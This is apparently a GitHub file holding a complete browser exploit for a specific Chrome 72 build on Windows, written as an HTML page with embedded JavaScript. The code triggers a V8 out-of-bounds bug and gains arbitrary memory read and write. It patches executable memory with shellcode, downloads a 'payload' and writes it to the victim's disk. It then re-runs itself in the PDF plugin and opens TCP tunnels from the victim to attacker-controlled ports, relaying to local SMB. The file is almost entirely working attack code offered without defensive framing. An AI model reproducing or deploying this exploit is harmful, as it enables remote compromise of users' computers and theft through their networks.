chrome-exploit/chrome1 at master · nexxrt/chrome-exploit · GitHub

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<body>
<script>
  VERSIONS = {
    '72.0.3626.97' : {
      IMAGE_BASE : 0x185e180,
      MODULE_SINGLETON : 0x547b0f8,
      TCP_SOCKET_API : 0x47bd578,
      NET_ADDRESS_API : 0x47bcf00,
      VIRTUAL_PROTECT : 0x53d0960,
      GET_PROC_ADDRESS : 0x53d03c0,
      GET_MODULE_HANDLE : 0x53d0378,
      DOCUMENT_TITLE : 0x688,
      RENDER_THREAD_CURRENT : 0x79b82,
      OPEN_FILE : 0x2d8f5de,
      DELETE_FILE : 0x2d8f680
    }
  };

  BIG_BUFFER_SIZE = 16 * 1024 * 1024;
  RWX_BUFFER_SIZE = 1024 * 1024;
  SIZEOF_PVOID = 8;

/* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */

  roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1);

  function forceGC() {
    for (let i = 0; i < 100000; ++i) {
      let buf = new ArrayBuffer();
    }
  }

  sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));

  BigInt.prototype.hex = function() {
    return this.toString(16);
  }

  BigInt.prototype.asBytes = function() {
    let val = this,
        result = [];
    for (let i = 0; i < SIZEOF_PVOID; ++i) {
      result.push(Number(val & 0xffn));
      val = val >> 8n;
    }
    return result;
  }

  ptr = BigInt;

    const
    IN_HTML = 0,
    IN_PDF = 1;
    let ExploitStage;

    if (typeof app == 'object') {
    ExploitStage = IN_PDF;

    // make pdf functions behave like the regular ones
    alert = app.alert.bind(app);
    timeout_functions = [];
    setInterval = (func, interval) => {
      timeout_functions.push(func);
      return app.setInterval(`timeout_functions[${timeout_functions.length - 1}]()`, interval);
    }
    clearInterval = app.clearInterval.bind(app);
    setTimeout = (func, timeout) => {
      timeout_functions.push(func);
      return app.setTimeOut(`timeout_functions[${timeout_functions.length - 1}]()`, timeout);
    }
  } else {
    ExploitStage = IN_HTML;
    }

  OFFSETS = null;
  for (var version in VERSIONS) {
    if (navigator.userAgent.includes(version)) {
      OFFSETS = VERSIONS[version];
      break;
    }
  }

  if (!OFFSETS) {
    throw alert('This version of Chrome is not supported. Please attach WinDBG to the renderer '
        + 'process and type\n\n$$>< path\\to\\offsets.wds');
  }

  if (ExploitStage == IN_HTML) {
    if (!/^\d+\.\d+\.\d+\.\d+$/.test(location.hostname)) {
      throw alert('The host name should look like an IP address.');
    }
    ip_addr = escape(location.hostname);

    document.body.style.opacity = 0;
  }

/* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */

  let data_view = new DataView(new ArrayBuffer(8));
  floatAsQword = float => {
    data_view.setFloat64(0, float);
    return data_view.getBigUint64(0);
  }

  qwordAsFloat = qword => {
    data_view.setBigUint64(0, qword);
    return data_view.getFloat64(0);
  }

  let oob_access_array;
  let ptr_leak_object;
  let arbirary_access_array;
  let ptr_leak_index;
  let external_ptr_index;
  let external_ptr_backup;
  const MARKER = 0x31337;
  const MARKER_TWO = 0x31338;

  leakPtr = obj => {
    ptr_leak_object[0] = obj;
    return floatAsQword(oob_access_array[ptr_leak_index]);
  }

  getQword = address => {
    oob_access_array[external_ptr_index] = qwordAsFloat(address);
    let value = arbirary_access_array[0];
    oob_access_array[external_ptr_index] = external_ptr_backup;
    return value;
  }

  setQword = (address, value) => {
    oob_access_array[external_ptr_index] = qwordAsFloat(address);
    arbirary_access_array[0] = value;
    oob_access_array[external_ptr_index] = external_ptr_backup;
  }


  setQwords = (address, array) => {
    for (let i = 0; i < array.length; ++i) {
      setQword(address + ptr(i * SIZEOF_PVOID), array[i]);
    }
  }

  let getField = (object_ptr, num, tagged = true) =>
    object_ptr + ptr(num * SIZEOF_PVOID - (tagged ? 1 : 0));


  getDword = address => {
    return getQword(address) & 0xffffffffn;
  }

  setDword = (address, value) => {
    let data = getQword(address) & ~(0xffffffffn) | (value & 0xffffffffn);
    setQword(address, data);
  }

  getByte = (address, value) => {
    return Number(getQword(address, value) & 0xffn);
  }

  setByte = (address, value) => {
    let data = getQword(address) & ~(0xffn) | ptr(value & 0xff);
    setQword(address, data);
  }

  getBytes = (address, length) => {
    let result = [];

    for (i = 0; i < length; ++i) {
      result.push(getByte(address + ptr(i)));
    }

    return result;
  }

  setBytes = (address, array) => {
    array = array.flat(10);
    for (let i = 0; i < array.length; ++i) {
      setByte(address + ptr(i), array[i]);
    }
  }

  triggerOob = () => {
    array = [];
    array.length = 0xffffffff;
    ptr_leak_object = {};
    arbirary_access_array = new BigUint64Array(1);

    oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() {
      array.length = 32;
      array.fill(1.1);
      return 0x80000000;
    }});
    ptr_leak_object[0] = MARKER;
    arbirary_access_array.buffer;
  }

  findOffsets = () => {
    let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
    let markerTwoAsFloat = qwordAsFloat(BigInt(MARKER_TWO) << 32n);
    for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
        ++ptr_leak_index) {
      if (oob_access_array[ptr_leak_index] === markerAsFloat) {
        // double check
        ptr_leak_object[0] = MARKER_TWO;
        let saved_value = oob_access_array[ptr_leak_index];
        ptr_leak_object[0] = MARKER;
        if (saved_value !== markerTwoAsFloat) {
          continue;
        }

        break;
      }
    }

    let oneAsFloat = qwordAsFloat(1n << 32n);
    for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
        ++external_ptr_index) {
      if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
          oob_access_array[external_ptr_index - 1] === 0) {
        break;
      }
    }

    if (ptr_leak_index === oob_access_array.length ||
        external_ptr_index === oob_access_array.length) {
      throw alert(`Couldn't locate the offsets`);
    }

    external_ptr_backup = oob_access_array[external_ptr_index];
  }

  findRWXPage = () => {
    function module(stdlib, foreign, buffer) {
      'use asm';
      var array = new stdlib.Uint32Array(buffer);
      function func(x) {
        x = x | 0;
        array[0] = x;
      }
      return func;
    }
    asmjs_func = module({Uint32Array:Uint32Array}, {}, new ArrayBuffer(1 << 12));

    asmjs_func_ptr = leakPtr(asmjs_func);
    shared_data_ptr = getQword(getField(asmjs_func_ptr, 3));
    wasm_data_ptr = getQword(getField(shared_data_ptr, 1));
    wasm_instance_ptr = getQword(getField(wasm_data_ptr, 2));
    jump_table_ptr = getQword(getField(wasm_instance_ptr, 29));
  }

  // put these two objects into the old space
  read_write_ptr_array = new BigUint64Array(1);
  read_write_data_array = new BigUint64Array(1);
  permanent_ptr_leak_object = {};
  permanent_ptr_leak_object[0] = {};

  forceGC();
  forceGC();

  triggerOob();
  findOffsets();
  findRWXPage();

  // fix the oob array to avoid GC crashes
  oob_access_array_ptr = leakPtr(oob_access_array);
  oob_fixed_array_ptr = getQword(getField(oob_access_array_ptr, 2));
  setQword(getField(oob_fixed_array_ptr, 1), 0n);

  // turn the temporary read-write into the permanent one
  read_write_data_array_ptr = leakPtr(read_write_data_array);
  read_write_data_elements_ptr = getQword(getField(read_write_data_array_ptr, 2));
  setQword(getField(read_write_data_elements_ptr, 3), 0n);
  read_write_data_backing_ptr = getField(read_write_data_elements_ptr, 2);

  read_write_ptr_array_ptr = leakPtr(read_write_ptr_array);
  read_write_ptr_elements_ptr = getQword(getField(read_write_ptr_array_ptr, 2));
  setQword(getField(read_write_ptr_elements_ptr, 3), 0n);
  setQword(getField(read_write_ptr_elements_ptr, 2), read_write_data_backing_ptr);

  permanent_ptr_leak_object_ptr = leakPtr(permanent_ptr_leak_object);
  permanent_ptr_leak_elements_ptr = getQword(getField(permanent_ptr_leak_object_ptr, 2));
  permanent_ptr_leak_field_ptr = getField(permanent_ptr_leak_elements_ptr, 2);
  leakPtr = obj => {
    permanent_ptr_leak_object[0] = obj;
    return getQword(permanent_ptr_leak_field_ptr);
  }

  getQword = address => {
    read_write_ptr_array[0] = address;
    return value = read_write_data_array[0];
  }

  setQword = (address, value) => {
    read_write_ptr_array[0] = address;
    read_write_data_array[0] = value;
  }

  big_array = Array(BIG_BUFFER_SIZE / SIZEOF_PVOID).fill(2.2);
  big_array_ptr = leakPtr(big_array);
  big_buffer_ptr = getQword(getField(big_array_ptr, 2)) + ptr(0x1000 - 1);

  // we need a way to perform raw data allocations
  alloc_struct = {
    'rw': {
      base: big_buffer_ptr,
      offset: 0,
      size: BIG_BUFFER_SIZE - 0x1000,
    },
    'rwx': {
      base: 0,
      offset: 0,
      size: RWX_BUFFER_SIZE,
    }
  };

  function malloc(size, executable = false) {
    size = roundUp(size, 8);
    let struct = alloc_struct[executable ? 'rwx' : 'rw'];
    if (struct.offset + size > struct.size) {
      throw alert(`OOM\nSize: ${size}\nExecutable: ${executable}\nStack:\n${(new Error).stack}`);
    }

    let result = struct.base + ptr(struct.offset);
    struct.offset += size;
    return result;
  }

  rwx_buffer_ptr = malloc(RWX_BUFFER_SIZE);
  alloc_struct['rwx'].base = rwx_buffer_ptr;

  memory_chunk_mask = ((1n << 19n) - 1n) ^ ((1n << 64n) - 1n);
  memory_chunk_ptr = asmjs_func_ptr & memory_chunk_mask;
  old_space_ptr = getQword(memory_chunk_ptr + 0x40n);
  old_space_dtr_ptr = getQword(getQword(old_space_ptr));
  chrome_child_base_ptr = old_space_dtr_ptr - ptr(OFFSETS.IMAGE_BASE);
  virtual_protect_ptr_ptr = chrome_child_base_ptr + ptr(OFFSETS.VIRTUAL_PROTECT);

  virtual_protect_code = [
    0x48, 0xB9, rwx_buffer_ptr.asBytes(), // mov rcx, rwx_buffer_ptr
    0x48, 0xBA, ptr(RWX_BUFFER_SIZE).asBytes(), // mov rdx, RWX_BUFFER_SIZE
    0x49, 0xC7, 0xC0, 0x40, 0x00, 0x00, 0x00, // mov r8, 0x40
    0x49, 0xB9, rwx_buffer_ptr.asBytes(), // mov r9, tempAddress
    0x48, 0x83, 0xEC, 0x20, // sub rsp, 0x20
    0x48, 0xB8, virtual_protect_ptr_ptr.asBytes(), // mov rax, virtual_protect_ptr_ptr
    0xFF, 0x10, // call [rax]
    0x48, 0x83, 0xC4, 0x20, // add rsp, 0x20
    0xC3, // ret
  ];

  backup = getBytes(jump_table_ptr, virtual_protect_code.length);
  setBytes(jump_table_ptr, virtual_protect_code);
  asmjs_func();
  setBytes(jump_table_ptr, backup);

  function allocCode(code) {
    code = code.flat(10);
    let ptr = malloc(code.length, true);
    setBytes(ptr, code);
    return ptr;
  }

  // build a harness for calling API functions
  module_ptr = getQword(chrome_child_base_ptr + ptr(OFFSETS.MODULE_SINGLETON));
  instance_map_ptr = getQword(module_ptr + ptr(8));
  instance_ptr = getQword(instance_map_ptr);
  pp_instance = getQword(instance_ptr + ptr(0x20));
  tcp_socket_api_ptr = chrome_child_base_ptr + ptr(OFFSETS.TCP_SOCKET_API);
  net_address_api_ptr = chrome_child_base_ptr + ptr(OFFSETS.NET_ADDRESS_API);
  api_table = {
    'TCPSocket' :
    {
      'Create' : getQword(tcp_socket_api_ptr),
      'Bind' : getQword(tcp_socket_api_ptr + ptr(2 * SIZEOF_PVOID)),
      'Connect' : getQword(tcp_socket_api_ptr + ptr(3 * SIZEOF_PVOID)),
      'Read' : getQword(tcp_socket_api_ptr + ptr(6 * SIZEOF_PVOID)),
      'Write' : getQword(tcp_socket_api_ptr + ptr(7 * SIZEOF_PVOID)),
      'Listen' : getQword(tcp_socket_api_ptr + ptr(8 * SIZEOF_PVOID)),
      'Accept' : getQword(tcp_socket_api_ptr + ptr(9 * SIZEOF_PVOID)),
      'Close' : getQword(tcp_socket_api_ptr + ptr(10 * SIZEOF_PVOID)),
    },
    'NetAddress' :
    {
      'CreateFromIPv4Address' : getQword(net_address_api_ptr),
    },
    'kernel32' :
    {
      'VirtualProtect': getQword(virtual_protect_ptr_ptr),
      'GetModuleHandleW' : getQword(chrome_child_base_ptr + ptr(OFFSETS.GET_MODULE_HANDLE)),
      'GetProcAddress' : getQword(chrome_child_base_ptr + ptr(OFFSETS.GET_PROC_ADDRESS))
    },
    'chrome_child' : {
      'RenderThreadImpl::current' : chrome_child_base_ptr + ptr(OFFSETS.RENDER_THREAD_CURRENT),
      'RendererBlinkPlatformImpl::DatabaseOpenFile' : chrome_child_base_ptr
          + ptr(OFFSETS.OPEN_FILE),
      'RendererBlinkPlatformImpl::DatabaseDeleteFile' : chrome_child_base_ptr
          + ptr(OFFSETS.DELETE_FILE)
    }
  };

  callApi = (module, name, async, ...args) => {
    let ret_value_ptr = malloc(SIZEOF_PVOID),
        callback_struct_ptr = malloc(3 * SIZEOF_PVOID),
        completion_flag_ptr = malloc(SIZEOF_PVOID),
        callback_ptr = allocCode([
          0x48, 0xB9, ret_value_ptr.asBytes(), // mov rcx, ret_value_ptr
          0x48, 0x89, 0x11, // mov qword ptr[rcx], rdx
          0x48, 0xB9, completion_flag_ptr.asBytes(), // mov rcx, completion_flag_ptr
          0x48, 0xC7, 0x01, 0x01, 0x00, 0x00, 0x00, // mov qword ptr[rcx], 1
          0xC3 // ret
        ]);
    setQwords(callback_struct_ptr, [
      callback_ptr,
      0n,
      0n,
    ]);

    if (async) {
      setQword(completion_flag_ptr, 0n);
      args.push(callback_struct_ptr);
    }

    let optionalArg = (index, ...code) => args.length > index ? [code, args[index].asBytes()] : [],
        additionalArgs = _ => {
          let result = [];
          for (let i = args.length - 1; i >= 4; --i) {
            result.push([
              0x48, 0xB8, args[i].asBytes(), // mov rax, args[i]
              0x48, 0x89, 0x44, 0x24, i * SIZEOF_PVOID // mov [rsp + ...], rax
            ]);
          }
          return result;
        },
        args_space_size = Math.max(roundUp(args.length * SIZEOF_PVOID, 0x10), 0x20);

    let func_buffer_ptr = allocCode([
      // a caller has to keep the stack aligned
      0x48, 0xC7, 0xC0, 0x08, 0x00, 0x00, 0x00, // mov rax, 8
      0x48, 0x85, 0xE0, // test rsp, rax
      0x74, 0x03, // jz +3
      0x48, 0x31, 0xC0, // xor rax, rax
      0x48, 0x29, 0xC4, // sub rsp, rax
      0x50, // push rax
      0x48, 0x83, 0xEC, args_space_size, // sub rsp, args_space_size
      optionalArg(0, 0x48, 0xB9), // mov rcx, args[0]
      optionalArg(1, 0x48, 0xBA), // mov rdx, args[1]
      optionalArg(2, 0x49, 0xB8), // mov r8, args[2]
      optionalArg(3, 0x49, 0xB9), // mov r9, args[3]
      additionalArgs(),
      0x48, 0xB8, api_table[module][name].asBytes(), // mov rax, api_table[module][name]
      0xFF, 0xD0, // call rax
      0x48, 0x83, 0xC4, args_space_size, // add rsp, args_space_size
      0x48, 0xB9, ret_value_ptr.asBytes(), // mov rcx, ret_value_ptr
      0x48, 0x89, 0x01, // mov qword ptr[rcx], rax
      0x58, // pop rax
      0x48, 0x01, 0xC4, // add rsp, rax
      0xC3 // ret
    ]);

    let asmjs_func_ptr = leakPtr(asmjs_func),
        shared_data_ptr = getQword(getField(asmjs_func_ptr, 3)),
        wasm_data_ptr = getQword(getField(shared_data_ptr, 1)),
        wasm_instance_ptr = getQword(getField(wasm_data_ptr, 2)),
        jump_table_field_ptr = getField(wasm_instance_ptr, 29),
        jump_table_backup = getQword(jump_table_field_ptr);
    setQword(jump_table_field_ptr, func_buffer_ptr);
    asmjs_func();
    setQword(jump_table_field_ptr, jump_table_backup);

    if (async) {
      if (getDword(ret_value_ptr) != 0xffffffffn) {
        throw alert(`Async function ${name} didn't return PP_OK_COMPLETIONPENDING, `
            + `instead returned ${getDword(ret_value_ptr).hex()}`);
      }
      return new Promise(resolve => {
        let interval_id = setInterval(_ => {
          if (getQword(completion_flag_ptr) != 1n) {
            return;
          }

          clearInterval(interval_id);
          resolve(getQword(ret_value_ptr));
        }, 100);
      });
    } else {
      return Promise.resolve(getQword(ret_value_ptr));
    }
  }

  if (ExploitStage == IN_HTML) {
    function makeString(string) {
      let bytes = Array.prototype.map.call(string + '\x00', char => char.charCodeAt(0));
      let str_ptr = malloc(bytes.length);
      setBytes(str_ptr, bytes);
      return str_ptr;
    }

    function makeWideString(string) {
      let bytes = Array.prototype.map.call(string + '\x00', char => {
        let code = char.charCodeAt(0);
        return [code & 0xff, code >> 8];
      }).flat(10);
      let str_ptr = malloc(bytes.length);
      setBytes(str_ptr, bytes);
      return str_ptr;
    }


    function fromWideString(string_ptr) {
      let chars = [];
      for (let i = 0; /* infinite loop */ ; i += 2) {
        let code = Number(getQword(string_ptr + ptr(i)) & 0xffffn);
        if (code === 0) {
          break;
        }
        chars.push(String.fromCharCode(code));
      }
      return chars.join('');
    }

    doc_ptr = leakPtr(document);
    blink_doc_ptr = getQword(getField(doc_ptr, 4));

    function makeWebkitString(string) {
      document.title = string;
      let string_impl_ptr = getQword(blink_doc_ptr + ptr(OFFSETS.DOCUMENT_TITLE));
      setDword(string_impl_ptr, getDword(string_impl_ptr) + 1n); // refCount
      let str_ptr = malloc(SIZEOF_PVOID);
      setQword(str_ptr, string_impl_ptr);
      return str_ptr;
    }

    module_handles = {};
    async function addFunction(module, name) {
      if (!module_handles[module]) {
        module_handles[module] = await callApi('kernel32','GetModuleHandleW', false,
            makeWideString(module));
      }

      api_table[module][name] =
        await callApi(module, 'GetProcAddress', false, module_handles[module], makeString(name));
    }

    (async () => {
      // use the Database API to put a file with the payload on a user's disk
      payload_array = Array.from(new Uint8Array(await (await fetch('payload')).arrayBuffer()));
      payload_buf_ptr = malloc(payload_array.length);
      setBytes(payload_buf_ptr, payload_array);

      addFunction('kernel32', 'GetFinalPathNameByHandleW');
      addFunction('kernel32', 'WriteFile');
      addFunction('kernel32', 'SetEndOfFile');
      addFunction('kernel32', 'CloseHandle');

      render_thread_ptr = await callApi('chrome_child', 'RenderThreadImpl::current', false),
      blink_platform_ptr = getQword(render_thread_ptr + ptr(0x2b8));
      db = openDatabase('db', '1', '', 1024);

      let origin_str = `${location.protocol.slice(0, -1)}_${location.hostname}_${location.port || 0}`;
      let str_ptr = makeWebkitString(`${origin_str}/db#file`);
      let file_handle = await callApi('chrome_child', 'RendererBlinkPlatformImpl::DatabaseOpenFile',
          false, blink_platform_ptr, str_ptr, ptr(0x100 | 2 | 4));
      await callApi('kernel32', 'WriteFile', false, file_handle, payload_buf_ptr,
          ptr(payload_array.length), 0n, 0n);
      await callApi('kernel32', 'SetEndOfFile', false, file_handle);

      src_file_path_ptr = malloc(0x200);
      let path_len = await callApi('kernel32', 'GetFinalPathNameByHandleW', false, file_handle,
          src_file_path_ptr, ptr(0x200 - 1), ptr(4));
      let src_file_path = escape(fromWideString(src_file_path_ptr, 0x200));

      await callApi('kernel32', 'CloseHandle', false, file_handle);

      // re-run the exploit inside the PDF plugin
      let code = escape(document.getElementsByTagName('script')[0].textContent),
          userAgent = escape(navigator.userAgent),
          pdfContents =
            `%PDF
            1 0 obj
            <<
            /Pages 1 0 R
            /OpenAction 2 0 R
            >>
            2 0 obj
            <<
              /S /JavaScript
                /JS (
                  ip_addr = unescape('${ip_addr}');
                  src_file_path = unescape('${src_file_path}');
                  navigator = { userAgent : unescape('${userAgent}') };
                  try { eval(unescape('${code}')) } catch (e) { app.alert('e: ' + e.toString()) }
                )
            >>
            trailer <<
            /Root 1 0 R
            >>`,
      plugin = document.createElement('embed');
      plugin.src = 'data:application/pdf,' + escape(pdfContents);
      document.body.appendChild(plugin);

      setTimeout(() => {
        local_frame = document.body.appendChild(document.createElement('iframe'));
        local_frame.src = 'http://localhost:8123';
      }, 3000);
    })();
  } else if (ExploitStage == IN_PDF) {
    async function createTunnel(first, second, type) {
      let packet_num = 0;

      function createPipe(from, to) {
        let read_buffer_size = 1024 * 256,
            read_buffer_ptr = malloc(read_buffer_size),
            bytes_read = 0,
            failed_attempts = 0;

        (async () => {
          while (true) {
            if (type == 'http' && ++packet_num == 5) {
              // python smb part started listening for a connection only at this point
              await setUpSMB();
            }

            let bytes_read = await callApi('TCPSocket', 'Read', true, from, read_buffer_ptr,
                ptr(read_buffer_size));
            if (bytes_read == 0n) {
              break;
            } else if (bytes_read & 0x80000000n) {
              if (++failed_attempts == 10) {
                // too many errors
                break;
              }
              await sleep(100);
              continue;
            }
            failed_attempts = 0;
            await callApi('TCPSocket', 'Write', true, to, read_buffer_ptr, ptr(bytes_read));
          }
        })();
      }

      createPipe(first, second);
      createPipe(second, first);
    }

    function makeAddrStruct(ip, port) {
      let bytes = [port >> 8, port & 0xff].concat(ip.split('.').map(octet => Number(octet))),
          ptr = malloc(bytes.length);
      setBytes(ptr, bytes);
      return ptr;
    }

    async function setUpHTTP() {
      let ipv4_addr_struct_ptr = makeAddrStruct('127.0.0.1', 8123);

      let webserver_address_instance = await callApi('NetAddress', 'CreateFromIPv4Address', false,
          pp_instance, ipv4_addr_struct_ptr);
      let webserver_socket_instance = await callApi('TCPSocket', 'Create', false, pp_instance);
      await callApi('TCPSocket', 'Bind', true, webserver_socket_instance,
          webserver_address_instance);
      let listen_ret = await callApi('TCPSocket', 'Listen', true, webserver_socket_instance, 10n);

      let webserver_accepted_socket_ptr = malloc(SIZEOF_PVOID);
      await callApi('TCPSocket', 'Accept', true, webserver_socket_instance,
          webserver_accepted_socket_ptr);
      let webserver_accepted_socket_instance = getQword(webserver_accepted_socket_ptr) & 0xffffffffn;

      ipv4_addr_struct_ptr = makeAddrStruct(ip_addr, 8124);
      let webclient_address_instance = await callApi('NetAddress', 'CreateFromIPv4Address', false,
          pp_instance, ipv4_addr_struct_ptr);
      let webclient_socket_instance = await callApi('TCPSocket', 'Create', false, pp_instance);
      await callApi('TCPSocket', 'Connect', true, webclient_socket_instance,
          webclient_address_instance);

      createTunnel(webserver_accepted_socket_instance, webclient_socket_instance, 'http');
    }

    async function setUpSMB() {
      let ipv4_addr_struct_ptr = makeAddrStruct(ip_addr, 8126);
      let smbserver_address_instance = await callApi('NetAddress', 'CreateFromIPv4Address', false,
          pp_instance, ipv4_addr_struct_ptr);
      let smbserver_socket_instance = await callApi('TCPSocket', 'Create', false, pp_instance);
      await callApi('TCPSocket', 'Connect', true, smbserver_socket_instance,
          smbserver_address_instance);
      let src_file_path_ptr = malloc(src_file_path.length + 2),
          path_len_bytes = [src_file_path.length >> 8, src_file_path.length & 0xff];
      setBytes(src_file_path_ptr,
          path_len_bytes.concat(Array.from(src_file_path).map(char => char.charCodeAt(0))));
      await callApi('TCPSocket', 'Write', true, smbserver_socket_instance, src_file_path_ptr,
          ptr(src_file_path.length + 2));

      ipv4_addr_struct_ptr = makeAddrStruct('127.0.0.1', 445);
      let smbclient_address_instance = await callApi('NetAddress', 'CreateFromIPv4Address', false,
          pp_instance, ipv4_addr_struct_ptr);
      let smbclient_socket_instance = await callApi('TCPSocket', 'Create', false, pp_instance);
      await callApi('TCPSocket', 'Connect', true, smbclient_socket_instance,
          smbclient_address_instance);

      createTunnel(smbserver_socket_instance, smbclient_socket_instance, 'smb');
    }

    setUpHTTP();
  }
</script>
</body>